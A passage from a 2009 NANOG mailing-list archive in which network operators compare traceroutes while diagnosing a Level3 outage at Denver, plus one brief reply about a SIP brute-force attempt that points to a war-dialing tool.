msec 3 sl-crs1-rly-0-0-5-0.sprintlink.net (144.232.20.177) 20 msec 16 msec 16 msec 4 sl-crs1-dc-0-8-0-0.sprintlink.net (144.232.19.213) 20 msec 20 msec 24 msec 5 sl-st31-ash-0-4-0-1.sprintlink.net (144.232.19.4) 20 msec 20 msec 24 msec 6 4.68.63.205 [AS 3356] 20 msec te-10-1-0.edge2.Washington4.level3.net (4.68.63.209) [AS 3356] 20 msec 24 msec 7 vlan79.csw2.Washington1.Level3.net (4.68.17.126) [AS 3356] 24 msec 28 msec vlan89.csw3.Washington1.Level3.net (4.68.17.190) [AS 3356] 28 msec 8 ae-72-72.ebr2.Washington1.Level3.net (4.69.134.149) [AS 3356] 24 msec ae-62-62.ebr2.Washington1.Level3.net (4.69.134.145) [AS 3356] 24 msec 24 msec 9 ae-2-2.ebr2.Chicago2.Level3.net (4.69.132.69) [AS 3356] 28 msec 28 msec 28 msec 10 ae-1-100.ebr1.Chicago2.Level3.net (4.69.132.113) [AS 3356] 28 msec 28 msec 28 msec 11 ae-3.ebr2.Denver1.Level3.net (4.69.132.61) [AS 3356] 48 msec 48 msec 52 msec 12 ge-9-1.hsa1.Denver1.Level3.net (4.68.107.99) [AS 3356] !H ge-9-2.hsa1.Denver1.Level3.net (4.68.107.163) [AS 3356] !H * Completed - Wed Apr 15 15:44:17 EDT 2009 Sprint Source Region: Chicago, IL (sl-bb20-chi) IP Destination: 63.211.236.36 Performing: ICMP Traceroute Tracing the route to 63.211.236.36 1 sl-crs1-chi-0-0-0-0.sprintlink.net (144.232.26.115) 0 msec 4 msec 0 msec 2 sl-st20-chi-4-0-0.sprintlink.net (144.232.18.153) 0 msec sl-st20-chi-13-0-0.sprintlink.net (144.232.20.3) 0 msec 0 msec 3 144.232.19.174 0 msec 0 msec 4 msec 4 ae-31-53.ebr1.Chicago1.Level3.net (4.68.101.94) [AS 3356] 8 msec ae-31-51.ebr1.Chicago1.Level3.net (4.68.101.30) [AS 3356] 8 msec ae-31-55.ebr1.Chicago1.Level3.net (4.68.101.158) [AS 3356] 4 msec 5 ae-6.ebr1.Chicago2.Level3.net (4.69.140.190) [AS 3356] 0 msec 4 msec 0 msec 6 ae-3.ebr2.Denver1.Level3.net (4.69.132.61) [AS 3356] 44 msec 44 msec 36 msec 7 ge-9-0.hsa1.Denver1.Level3.net (4.68.107.35) [AS 3356] !H ge-9-2.hsa1.Denver1.Level3.net (4.68.107.163) [AS 3356] !H * Completed - Wed Apr 15 15:44:49 EDT 2009 Sprint Source Region: Relay, MD (sl-bb20-rly) IP Destination: 63.211.236.36 Performing: ICMP Traceroute Tracing the route to 63.211.236.36 1 sl-crs2-rly-0-1-0-0.sprintlink.net (144.232.3.96) 0 msec 0 msec 4 msec 2 sl-crs2-dc-0-12-2-0.sprintlink.net (144.232.19.221) 0 msec 0 msec 0 msec 3 sl-st31-ash-0-8-0-0.sprintlink.net (144.232.19.6) 0 msec sl-st31-ash-0-1-0-0.sprintlink.net (144.232.19.230) 0 msec sl-st31-ash-0-8-0-0.sprintlink.net (144.232.19.6) 4 msec 4 4.68.63.205 [AS 3356] 4 msec te-10-1-0.edge2.Washington4.level3.net (4.68.63.209) [AS 3356] 0 msec 4.68.63.205 [AS 3356] 0 msec 5 vlan69.csw1.Washington1.Level3.net (4.68.17.62) [AS 3356] 0 msec vlan89.csw3.Washington1.Level3.net (4.68.17.190) [AS 3356] 4 msec 12 msec 6 ae-62-62.ebr2.Washington1.Level3.net (4.69.134.145) [AS 3356] 4 msec ae-92-92.ebr2.Washington1.Level3.net (4.69.134.157) [AS 3356] 0 msec ae-82-82.ebr2.Washington1.Level3.net (4.69.134.153) [AS 3356] 4 msec 7 ae-2-2.ebr2.Chicago2.Level3.net (4.69.132.69) [AS 3356] 20 msec 20 msec 20 msec 8 ae-1-100.ebr1.Chicago2.Level3.net (4.69.132.113) [AS 3356] 20 msec 24 msec 20 msec 9 ae-3.ebr2.Denver1.Level3.net (4.69.132.61) [AS 3356] 52 msec 64 msec 52 msec 10 ge-9-1.hsa1.Denver1.Level3.net (4.68.107.99) [AS 3356] !H * !H Completed - Wed Apr 15 15:45:37 EDT 2009 From Jay.Murphy at state.nm.us Wed Apr 15 14:50:46 2009 From: Jay.Murphy at state.nm.us (Murphy, Jay, DOH) Date: Wed, 15 Apr 2009 13:50:46 -0600 Subject: Level3 funkiness In-Reply-To: <607f1e0a0904151245m55d46c0fxb116090a984799da@mail.gmail.com> References: <20090415193537.GA63377@infiltrated.net> <607f1e0a0904151245m55d46c0fxb116090a984799da@mail.gmail.com> Message-ID: Have you been able to in the past?? The site is used for other purposes, and the front end site that you will see is www.level3.com, not net. So which one? Jay Murphy IP Network Specialist NM Department of Health ITSD - IP Network Operations Santa Fe, New Mexico 87502 Bus. Ph.: 505.827.2851 "We move the information that moves your world." -----Original Message----- From: Charles Mills [mailto:w3yni1 at gmail.com] Sent: Wednesday, April 15, 2009 1:46 PM To: J. Oquendo Cc: nanog at nanog.org Subject: Re: Level3 funkiness Can't get to level3.net 63.211.236.36 or www.level3.net 4.68.95.28 from Pittsburgh either and I peer directly with level3 with a full BGP feed. On Wed, Apr 15, 2009 at 3:35 PM, J. Oquendo wrote: > > Anyone else experience sporadic funkiness via > Level3? I can't even reach the main website from who > knows how many networks I've tried. Also friends > and former colleagues have tried to reach the site > to no avail. > > One of my machines on AT&T: > # traceroute level3.net > traceroute to level3.net (63.211.236.36), 30 hops max, 40 byte packets > > 4 cr1.n54ny.ip.att.net (12.122.105.58) 11.285 ms 21.702 ms 21.477 ms > 5 ggr2.n54ny.ip.att.net (12.122.131.141) 12.712 ms 10.194 ms 16.393 > ms > 6 so-8-0-0.car3.NewYork1.Level3.net (4.68.127.149) 9.975 ms 10.019 ms > 10.833 ms > 7 vlan79.csw2.NewYork1.Level3.net (4.68.16.126) 10.162 ms 10.189 ms > 14.474 ms > 8 ae-71-71.ebr1.NewYork1.Level3.net (4.69.134.69) 15.763 ms 11.166 ms > 9.725 ms > 9 ae-3-3.ebr4.Washington1.Level3.net (4.69.132.93) 16.139 ms 30.616 ms > 16.275 ms > 10 ae-64-64.csw1.Washington1.Level3.net (4.69.134.178) 15.684 ms > ae-74-74.csw2.Washington1.Level3.net (4.69.134.182) 21.870 ms > ae-84-84.csw3.Washington1.Level3.net (4.69.134.186) 28.729 ms > 11 ae-92-92.ebr2.Washington1.Level3.net (4.69.134.157) 17.035 ms > ae-62-62.ebr2.Washington1.Level3.net (4.69.134.145) 17.041 ms > ae-72-72.ebr2.Washington1.Level3.net (4.69.134.149) 21.940 ms > 12 ae-2-2.ebr2.Chicago2.Level3.net (4.69.132.69) 31.671 ms 42.407 ms > 45.774 ms > 13 ae-1-100.ebr1.Chicago2.Level3.net (4.69.132.113) 31.922 ms 32.115 ms > 38.135 ms > 14 ae-3.ebr2.Denver1.Level3.net (4.69.132.61) 75.265 ms 67.528 ms > 67.937 ms > 15 ge-9-0.hsa1.Denver1.Level3.net (4.68.107.35) 62.587 ms !H > ge-9-1.hsa1.Denver1.Level3.net (4.68.107.99) 62.543 ms !H > ge-9-2.hsa1.Denver1.Level3.net (4.68.107.163) 75.797 ms !H > > > (From Texas through Above.net) > $ traceroute level3.net|tail -n 1 > traceroute to level3.net (63.211.236.36), 64 hops max, 40 byte packets > 11 ge-6-2.hsa1.Denver1.Level3.net (4.68.107.131) 21.473 ms !H * > ge-6-0.hsa1.Denver1.Level3.net (4.68.107.3) 21.547 ms !H > > Confirmed it can't be reached from Travelers Ins, The > Hartford, none of my connections. Anyone else seeing > issues? I'm seeing drop off from clients going through > their Atlanta interconnects with Charter and two other > providers, which I can't make sense of. I DO KNOW they > experienced some sort of issue with a TDM switch or so > they said... Very broad statements: "We know teh > interwebs are down please stand by" > > I know websites are one thing, but the chances of the > website going down, a TDM switch being wacky and now > clients traversing their networks complaining all at > once seems a little out of the ordinary. > > =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ > J. Oquendo > SGFA, SGFE, C|EH, CNDA, CHFI, OSCP > > "It takes 20 years to build a reputation and five minutes to > ruin it. If you think about that, you'll do things > differently." - Warren Buffett > > 227C 5D35 7DCB 0893 95AA 4771 1DCE 1FD1 5CCD 6B5E > http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x5CCD6B5E > > > -- ______________________________________________________________________ This inbound email has been scanned by the MessageLabs Email Security System. ______________________________________________________________________ Confidentiality Notice: This e-mail, including all attachments is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited unless specifically provided under the New Mexico Inspection of Public Records Act. If you are not the intended recipient, please contact the sender and destroy all copies of this message. -- This email has been scanned by the Sybari - Antigen Email System. From jason at electronet.net Wed Apr 15 14:51:40 2009 From: jason at electronet.net (Jason Bertoch) Date: Wed, 15 Apr 2009 15:51:40 -0400 Subject: Level3 funkiness In-Reply-To: <20090415193537.GA63377@infiltrated.net> References: <20090415193537.GA63377@infiltrated.net> Message-ID: <002101c9be03$987d5620$c9780260$@net> > -----Original Message----- > From: J. Oquendo [mailto:sil at infiltrated.net] > Sent: Wednesday, April 15, 2009 3:36 PM > To: nanog at nanog.org > Subject: Level3 funkiness > > > Anyone else experience sporadic funkiness via > Level3? I can't even reach the main website from who > knows how many networks I've tried. Also friends > and former colleagues have tried to reach the site > to no avail. > My Level3 connection is working normally, I can reach their site, and I'm peered in Atlanta. Jason A. Bertoch Network Administrator jason at electronet.net Electronet Broadband Communications 3411 Capital Medical Blvd. Tallahassee, FL 32308 (V) 850.222.0229 (F) 850.222.8771 From brandon.galbraith at gmail.com Wed Apr 15 14:54:20 2009 From: brandon.galbraith at gmail.com (Brandon Galbraith) Date: Wed, 15 Apr 2009 14:54:20 -0500 Subject: Level3 funkiness In-Reply-To: <607f1e0a0904151245m55d46c0fxb116090a984799da@mail.gmail.com> References: <20090415193537.GA63377@infiltrated.net> <607f1e0a0904151245m55d46c0fxb116090a984799da@mail.gmail.com> Message-ID: <366100670904151254o34c535dcw6c64c425454f11de@mail.gmail.com> In Chicago, traceroutes are dying in the same place (Denver). Peered out of 350 Cermak. -brandon On Wed, Apr 15, 2009 at 2:45 PM, Charles Mills wrote: > Can't get to level3.net 63.211.236.36 or www.level3.net 4.68.95.28 from > Pittsburgh either and I peer directly with level3 with a full BGP feed. > > > > On Wed, Apr 15, 2009 at 3:35 PM, J. Oquendo wrote: > > > > > Anyone else experience sporadic funkiness via > > Level3? I can't even reach the main website from who > > knows how many networks I've tried. Also friends > > and former colleagues have tried to reach the site > > to no avail. > > > > One of my machines on AT&T: > > # traceroute level3.net > > traceroute to level3.net (63.211.236.36), 30 hops max, 40 byte packets > > > > 4 cr1.n54ny.ip.att.net (12.122.105.58) 11.285 ms 21.702 ms 21.477 > ms > > 5 ggr2.n54ny.ip.att.net (12.122.131.141) 12.712 ms 10.194 ms 16.393 > > ms > > 6 so-8-0-0.car3.NewYork1.Level3.net (4.68.127.149) 9.975 ms 10.019 > ms > > 10.833 ms > > 7 vlan79.csw2.NewYork1.Level3.net (4.68.16.126) 10.162 ms 10.189 ms > > 14.474 ms > > 8 ae-71-71.ebr1.NewYork1.Level3.net (4.69.134.69) 15.763 ms 11.166 > ms > > 9.725 ms > > 9 ae-3-3.ebr4.Washington1.Level3.net (4.69.132.93) 16.139 ms 30.616 > ms > > 16.275 ms > > 10 ae-64-64.csw1.Washington1.Level3.net (4.69.134.178) 15.684 ms > > ae-74-74.csw2.Washington1.Level3.net (4.69.134.182) 21.870 ms > > ae-84-84.csw3.Washington1.Level3.net (4.69.134.186) 28.729 ms > > 11 ae-92-92.ebr2.Washington1.Level3.net (4.69.134.157) 17.035 ms > > ae-62-62.ebr2.Washington1.Level3.net (4.69.134.145) 17.041 ms > > ae-72-72.ebr2.Washington1.Level3.net (4.69.134.149) 21.940 ms > > 12 ae-2-2.ebr2.Chicago2.Level3.net (4.69.132.69) 31.671 ms 42.407 ms > > 45.774 ms > > 13 ae-1-100.ebr1.Chicago2.Level3.net (4.69.132.113) 31.922 ms 32.115 > ms > > 38.135 ms > > 14 ae-3.ebr2.Denver1.Level3.net (4.69.132.61) 75.265 ms 67.528 ms > > 67.937 ms > > 15 ge-9-0.hsa1.Denver1.Level3.net (4.68.107.35) 62.587 ms !H > > ge-9-1.hsa1.Denver1.Level3.net (4.68.107.99) 62.543 ms !H > > ge-9-2.hsa1.Denver1.Level3.net (4.68.107.163) 75.797 ms !H > > > > > > (From Texas through Above.net) > > $ traceroute level3.net|tail -n 1 > > traceroute to level3.net (63.211.236.36), 64 hops max, 40 byte packets > > 11 ge-6-2.hsa1.Denver1.Level3.net (4.68.107.131) 21.473 ms !H * > > ge-6-0.hsa1.Denver1.Level3.net (4.68.107.3) 21.547 ms !H > > > > Confirmed it can't be reached from Travelers Ins, The > > Hartford, none of my connections. Anyone else seeing > > issues? I'm seeing drop off from clients going through > > their Atlanta interconnects with Charter and two other > > providers, which I can't make sense of. I DO KNOW they > > experienced some sort of issue with a TDM switch or so > > they said... Very broad statements: "We know teh > > interwebs are down please stand by" > > > > I know websites are one thing, but the chances of the > > website going down, a TDM switch being wacky and now > > clients traversing their networks complaining all at > > once seems a little out of the ordinary. > > > > =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ > > J. Oquendo > > SGFA, SGFE, C|EH, CNDA, CHFI, OSCP > > > > "It takes 20 years to build a reputation and five minutes to > > ruin it. If you think about that, you'll do things > > differently." - Warren Buffett > > > > 227C 5D35 7DCB 0893 95AA 4771 1DCE 1FD1 5CCD 6B5E > > http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x5CCD6B5E > > > > > > > > > -- > -- Brandon Galbraith Voice: 630.400.6992 From sil at infiltrated.net Wed Apr 15 14:56:29 2009 From: sil at infiltrated.net (J. Oquendo) Date: Wed, 15 Apr 2009 14:56:29 -0500 Subject: Level3 funkiness In-Reply-To: References: <20090415193537.GA63377@infiltrated.net> <607f1e0a0904151245m55d46c0fxb116090a984799da@mail.gmail.com> Message-ID: <20090415195629.GA65205@infiltrated.net> On Wed, 15 Apr 2009, Murphy, Jay, DOH wrote: > Have you been able to in the past?? The site is used for other purposes, > and the front end site that you will see is www.level3.com, not net. So > which one? > > > Jay Murphy > IP Network Specialist > NM Department of Health > ITSD - IP Network Operations > Santa Fe, New Mexico 87502 > Bus. Ph.: 505.827.2851 > > "We move the information that moves your world." Yes discovered that then thought about reposting full traceroute feeds. It was the *.com I can get through now from 4 out of like 8 addresses. Actually on the phone with Level3 right now =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ J. Oquendo SGFA, SGFE, C|EH, CNDA, CHFI, OSCP "It takes 20 years to build a reputation and five minutes to ruin it. If you think about that, you'll do things differently." - Warren Buffett 227C 5D35 7DCB 0893 95AA 4771 1DCE 1FD1 5CCD 6B5E http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x5CCD6B5E From dylan.ebner at crlmed.com Wed Apr 15 15:00:58 2009 From: dylan.ebner at crlmed.com (Dylan Ebner) Date: Wed, 15 Apr 2009 14:00:58 -0600 Subject: Level3 funkiness In-Reply-To: <20090415193537.GA63377@infiltrated.net> References: <20090415193537.GA63377@infiltrated.net> Message-ID: <6286FF05EBE33C4596F6C6C23762686701DC30C3@VS11.EXCHPROD.USA.NET> destination unreachable on qwest out of St.Paul/Minneapolis. Level3.com does work. Dylan Ebner, Network Engineer -----Original Message----- From: J. Oquendo [mailto:sil at infiltrated.net] Sent: Wednesday, April 15, 2009 2:36 PM To: nanog at nanog.org Subject: Level3 funkiness Anyone else experience sporadic funkiness via Level3? I can't even reach the main website from who knows how many networks I've tried. Also friends and former colleagues have tried to reach the site to no avail. One of my machines on AT&T: # traceroute level3.net traceroute to level3.net (63.211.236.36), 30 hops max, 40 byte packets 4 cr1.n54ny.ip.att.net (12.122.105.58) 11.285 ms 21.702 ms 21.477 ms 5 ggr2.n54ny.ip.att.net (12.122.131.141) 12.712 ms 10.194 ms 16.393 ms 6 so-8-0-0.car3.NewYork1.Level3.net (4.68.127.149) 9.975 ms 10.019 ms 10.833 ms 7 vlan79.csw2.NewYork1.Level3.net (4.68.16.126) 10.162 ms 10.189 ms 14.474 ms 8 ae-71-71.ebr1.NewYork1.Level3.net (4.69.134.69) 15.763 ms 11.166 ms 9.725 ms 9 ae-3-3.ebr4.Washington1.Level3.net (4.69.132.93) 16.139 ms 30.616 ms 16.275 ms 10 ae-64-64.csw1.Washington1.Level3.net (4.69.134.178) 15.684 ms ae-74-74.csw2.Washington1.Level3.net (4.69.134.182) 21.870 ms ae-84-84.csw3.Washington1.Level3.net (4.69.134.186) 28.729 ms 11 ae-92-92.ebr2.Washington1.Level3.net (4.69.134.157) 17.035 ms ae-62-62.ebr2.Washington1.Level3.net (4.69.134.145) 17.041 ms ae-72-72.ebr2.Washington1.Level3.net (4.69.134.149) 21.940 ms 12 ae-2-2.ebr2.Chicago2.Level3.net (4.69.132.69) 31.671 ms 42.407 ms 45.774 ms 13 ae-1-100.ebr1.Chicago2.Level3.net (4.69.132.113) 31.922 ms 32.115 ms 38.135 ms 14 ae-3.ebr2.Denver1.Level3.net (4.69.132.61) 75.265 ms 67.528 ms 67.937 ms 15 ge-9-0.hsa1.Denver1.Level3.net (4.68.107.35) 62.587 ms !H ge-9-1.hsa1.Denver1.Level3.net (4.68.107.99) 62.543 ms !H ge-9-2.hsa1.Denver1.Level3.net (4.68.107.163) 75.797 ms !H (From Texas through Above.net) $ traceroute level3.net|tail -n 1 traceroute to level3.net (63.211.236.36), 64 hops max, 40 byte packets 11 ge-6-2.hsa1.Denver1.Level3.net (4.68.107.131) 21.473 ms !H * ge-6-0.hsa1.Denver1.Level3.net (4.68.107.3) 21.547 ms !H Confirmed it can't be reached from Travelers Ins, The Hartford, none of my connections. Anyone else seeing issues? I'm seeing drop off from clients going through their Atlanta interconnects with Charter and two other providers, which I can't make sense of. I DO KNOW they experienced some sort of issue with a TDM switch or so they said... Very broad statements: "We know teh interwebs are down please stand by" I know websites are one thing, but the chances of the website going down, a TDM switch being wacky and now clients traversing their networks complaining all at once seems a little out of the ordinary. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ J. Oquendo SGFA, SGFE, C|EH, CNDA, CHFI, OSCP "It takes 20 years to build a reputation and five minutes to ruin it. If you think about that, you'll do things differently." - Warren Buffett 227C 5D35 7DCB 0893 95AA 4771 1DCE 1FD1 5CCD 6B5E http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x5CCD6B5E From Jay.Murphy at state.nm.us Wed Apr 15 15:02:20 2009 From: Jay.Murphy at state.nm.us (Murphy, Jay, DOH) Date: Wed, 15 Apr 2009 14:02:20 -0600 Subject: Level3 funkiness In-Reply-To: <20090415195629.GA65205@infiltrated.net> References: <20090415193537.GA63377@infiltrated.net> <607f1e0a0904151245m55d46c0fxb116090a984799da@mail.gmail.com> <20090415195629.GA65205@infiltrated.net> Message-ID: Yea the .com addr is on the same subnet, unless it has been carved into a /30. Jay Murphy IP Network Specialist NM Department of Health ITSD - IP Network Operations Santa Fe, New Mexico 87502 Bus. Ph.: 505.827.2851 "We move the information that moves your world." -----Original Message----- From: J. Oquendo [mailto:sil at infiltrated.net] Sent: Wednesday, April 15, 2009 1:56 PM To: Murphy, Jay, DOH Cc: nanog at nanog.org Subject: Re: Level3 funkiness On Wed, 15 Apr 2009, Murphy, Jay, DOH wrote: > Have you been able to in the past?? The site is used for other purposes, > and the front end site that you will see is www.level3.com, not net. So > which one? > > > Jay Murphy > IP Network Specialist > NM Department of Health > ITSD - IP Network Operations > Santa Fe, New Mexico 87502 > Bus. Ph.: 505.827.2851 > > "We move the information that moves your world." Yes discovered that then thought about reposting full traceroute feeds. It was the *.com I can get through now from 4 out of like 8 addresses. Actually on the phone with Level3 right now =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ J. Oquendo SGFA, SGFE, C|EH, CNDA, CHFI, OSCP "It takes 20 years to build a reputation and five minutes to ruin it. If you think about that, you'll do things differently." - Warren Buffett 227C 5D35 7DCB 0893 95AA 4771 1DCE 1FD1 5CCD 6B5E http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x5CCD6B5E ______________________________________________________________________ This inbound email has been scanned by the MessageLabs Email Security System. ______________________________________________________________________ Confidentiality Notice: This e-mail, including all attachments is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited unless specifically provided under the New Mexico Inspection of Public Records Act. If you are not the intended recipient, please contact the sender and destroy all copies of this message. -- This email has been scanned by the Sybari - Antigen Email System. From ge at linuxbox.org Wed Apr 15 15:03:25 2009 From: ge at linuxbox.org (Gadi Evron) Date: Wed, 15 Apr 2009 23:03:25 +0300 Subject: SIP - perhaps botnet? anyone else seeing this? In-Reply-To: References: Message-ID: <49E63D8D.2040506@linuxbox.org> Leland E. Vandervort wrote: > > Managed to get to the bottom of it, and it was indeed a SIP User-Agent > brute-force attempt. Interestingly, though, that your mail mentions > specifically verizon... the majority of the remote addresses during this > brute-force attempt were also behind verizon... coincidence? > > Hmm.. There are at least two projects I'm aware of and some tools released/getting released working on war-dialing over SIP. One tool to take a look at and see if it fits the bill is WarVOX from Metasploit's HD Moore. http://www.warvox.org/index.html Gadi. From dave at stayonline.com Wed Apr 15 15:07:45 2009 From: dave at stayonline.com (Dave Larter) Date: Wed, 15 Apr 2009 16:07:45 -0400 Subject: Level3 funkiness In-Reply-To: <8C60783C27E6DD4AAC4EFE7FB5CD54A019D6CA4692@sea5exbe2.speakeasy.hq> References: <20090415193537.GA63377@infiltrated.net> <8B79B73777E7D544A24BEB8FC50D35DB527394@MERCURY.socrdu.com> <8C60783C27E6DD4AAC4EFE7FB5CD54A019D6CA4692@sea5exbe2.speakeasy.hq> Message-ID: <8B79B73777E7D544A24BEB8FC50D35DB5273A1@MERCURY.socrdu.com> Tracing to www.level3.net (4.68.95.28) dies at 4.68.94.1 for me as well. -----Original Message----- From: Andy Vance [mailto:avance at hq.speakeasy.net] Sent: Wednesday, April 15, 2009 3:55 PM To: Dave Larter; J. Oquendo; nanog at nanog.org Subject: RE: Level3 funkiness I'm not having any issues from either east coast or west coast in reaching Level-3. traceroute to www.level3.net (4.68.95.28), 30 hops max, 38 byte packets 1 5.ge-0-2-0.cr1.wdc1.speakeasy.net (66.92.159.252) 0.337 ms 0.269 ms 0.255 ms 2 100.ge-0-0-0.cr2.wdc1.speakeasy.net (69.17.83.66) 0.278 ms 0.264 ms 0.256 ms 3 ge-4-1-440.car2.Washington1.Level3.net (166.90.148.49) 0.932 ms 0.858 ms 0.822 ms 4 vlan89.csw3.Washington1.Level3.net (4.68.17.190) 14.051 ms 0.975 ms 1.001 ms 5 ae-82-82.ebr2.Washington1.Level3.net (4.69.134.153) 1.340 ms 1.127 ms 1.385 ms 6 ae-2-2.ebr2.Chicago2.Level3.net (4.69.132.69) 18.646 ms 18.612 ms 18.519 ms 7 ae-1-100.ebr1.Chicago2.Level3.net (4.69.132.113) 18.925 ms 19.119 ms 18.712 ms 8 ae-3.ebr2.Denver1.Level3.net (4.69.132.61) 47.165 ms 53.793 ms 54.239 ms 9 ge-9-0.hsa1.Denver1.Level3.net (4.68.107.35) 43.107 ms 43.287 ms ge-9-1.hsa1.Denver1.Level3.net (4.68.107.99) 42.558 ms 10 4.68.94.1 (4.68.94.1) 43.116 ms 43.128 ms 43.224 ms Cheers, Andy -----Original Message----- From: Dave Larter [mailto:dave at stayonline.com] Sent: Wednesday, April 15, 2009 12:46 PM To: J. Oquendo; nanog at nanog.org Subject: RE: Level3 funkiness Yes, I die on your hop14 with TWTelecom -----Original Message----- From: J. Oquendo [mailto:sil at infiltrated.net] Sent: Wednesday, April 15, 2009 3:36 PM To: nanog at nanog.org Subject: Level3 funkiness Anyone else experience sporadic funkiness via Level3? I can't even reach the main website from who knows how many networks I've tried. Also friends and former colleagues have tried to reach the site to no avail. One of my machines on AT&T: # traceroute level3.net traceroute to level3.net (63.211.236.36), 30 hops max, 40 byte packets 4 cr1.n54ny.ip.att.net (12.122.105.58) 11.285 ms 21.702 ms 21.477 ms 5 ggr2.n54ny.ip.att.net (12.122.131.141) 12.712 ms 10.194 ms 16.393 ms 6 so-8-0-0.car3.NewYork1.Level3.net (4.68.127.149) 9.975 ms 10.019 ms 10.833 ms 7 vlan79.csw2.NewYork1.Level3.net (4.68.16.126) 10.162 ms 10.189 ms 14.474 ms 8 ae-71-71.ebr1.NewYork1.Level3.net (4.69.134.69) 15.763 ms 11.166 ms 9.725 ms 9 ae-3-3.ebr4.Washington1.Level3.net (4.69.132.93) 16.139 ms 30.616 ms 16.275 ms 10 ae-64-64.csw1.Washington1.Level3.net (4.69.134.178) 15.684 ms ae-74-74.csw2.Washington1.Level3.net (4.69.134.182) 21.870 ms ae-84-84.csw3.Washington1.Level3.net (4.69.134.186) 28.729 ms 11 ae-92-92.ebr2.Washington1.Level3.net (4.69.134.157) 17.035 ms ae-62-62.ebr2.Washington1.Level3.net (4.69.134.145) 17.041 ms ae-72-72.ebr2.Washington1.Level3.net (4.69.134.149) 21.940 ms 12 ae-2-2.ebr2.Chicago2.Level3.net (4.69.132.69) 31.671 ms 42.407 ms 45.774 ms 13 ae-1-100.ebr1.Chicago2.Level3.net (4.69.132.113) 31.922 ms 32.115 ms 38.135 ms 14 ae-3.ebr2.Denver1.Level3.net (4.69.132.61) 75.265 ms 67.528 ms 67.937 ms 15 ge-9-0.hsa1.Denver1.Level3.net (4.68.107.35) 62.587 ms !H ge-9-1.hsa1.Denver1.Level3.net (4.68.107.99) 62.543 ms !H ge-9-2.hsa1.Denver1.Level3.net (4.68.107.163) 75.797 ms !H (From Texas through Above.net) $ traceroute level3.net|tail -n 1 traceroute to level3.net (63.211.236.36), 64 hops max, 40 byte packets 11 ge-6-2.hsa1.Denver1.Level3.net (4.68.107.131) 21.473 ms !H * ge-6-0.hsa1.Denver1.Level3.net (4.68.107.3) 21.547 ms !H Confirmed it can't be reached from Travelers Ins, The Hartford, none of my connections. Anyone else seeing issues? I'm seeing drop off from clients going through their Atlanta interconnects with Charter and two other providers, which I can't make sense of. I DO KNOW they experienced some sort of issue with a TDM switch or so they said... Very broad statements: "We know teh interwebs are down please stand by" I know websites are one thing, but the chances of the website going down, a TDM switch being wacky and now clients traversing their networks complaining all at once seems a little out of the ordinary. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ J. Oquendo SGFA, SGFE, C|EH, CNDA, CHFI, OSCP "It takes 20 years to build a reputation and five minutes to ruin it. If you think about that, you'll do things differently." - Warren Buffett 227C 5D35 7DCB 0893 95AA 4771 1DCE 1FD1 5CCD 6B5E http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x5CCD6B5E From alex at blastro.com Wed Apr 15 15:07:58 2009 From: alex at blastro.com (Alex Thurlow) Date: Wed, 15 Apr 2009 15:07:58 -0500 Subject: Level3 funkiness In-Reply-To: <91864382B2433640BA2A447041B3DBC30A4F5FC5@wil-exmb01.bbtnet.com> References: <20090415193537.GA63377@infiltrated.net> <91864382B2433640BA2A447041B3DBC30A4F5FC5@wil-exmb01.bbtnet.com> Message-ID: <49E63E9E.9080102@blastro.com> Same result from Cogent in Texas. Dying at ge-6-2.hsa1.Denver1.Level3.net # traceroute level3.net traceroute to 63.211.236.36 (63.211.236.36), 30 hops max, 46 byte packets 1 gi1-1.ccr01.aus02.atlas.cogentco.com (38.104.4.37) 0.493 ms 0.393 ms 0.496 ms 2 te4-4.ccr01.aus01.atlas.cogentco.com (154.54.25.157) 1.040 ms te4-3.ccr01.aus01.atlas.cogentco.com (154.54.25.153) 0.645 ms te4-4.ccr01.aus01.atlas.cogentco.com (154.54.25.157) 0.662 ms 3 te8-2.mpd01.iah01.atlas.cogentco.com (154.54.1.66) 3.972 ms 3.999 ms 3.926 ms 4 te4-1.mpd01.dfw01.atlas.cogentco.com (154.54.2.14) 9.289 ms * 9.249 ms 5 te3-3.mpd01.dfw03.atlas.cogentco.com (154.54.6.94) 9.227 ms te7-3.mpd01.dfw03.atlas.cogentco.com (154.54.6.66) 9.670 ms te3-3.mpd01.dfw03.atlas.cogentco.com (154.54.6.94) 9.806 ms 6 te-3-2.car3.Dallas1.Level3.net (4.68.110.109) 9.670 ms 9.813 ms 9.431 ms 7 * vlan79.csw2.Dallas1.Level3.net (4.68.19.126) 19.579 ms 20.438 ms 8 ae-72-72.ebr2.Dallas1.Level3.net (4.69.136.141) 15.812 ms 15.417 ms 18.290 ms 9 ae-2.ebr1.Denver1.Level3.net (4.69.132.105) 26.905 ms * 24.321 ms 10 ge-6-2.hsa1.Denver1.Level3.net (4.68.107.131) 24.518 ms !H * 24.644 ms !H Alex Thurlow Blastro Networks http://www.blastro.com http://www.roxwel.com http://www.yallwire.com On 4/15/2009 2:49 PM, Dixon, Justin wrote: >> -----Original Message----- >> From: J. Oquendo [mailto:sil at infiltrated.net] >> Sent: Wednesday, April 15, 2009 15:36 >> To: nanog at nanog.org >> Subject: Level3 funkiness >> >> >> Anyone else experience sporadic funkiness via >> Level3? I can't even reach the main website from who >> knows how many networks I've tried. Also friends >> and former colleagues have tried to reach the site >> to no avail. >> >> One of my machines on AT&T: >> # traceroute level3.net >> traceroute to level3.net (63.211.236.36), 30 hops max, 40 byte packets >> >> 4 cr1.n54ny.ip.att.net (12.122.105.58) 11.285 ms 21.702 ms 21.477 >> > ms > >> 5 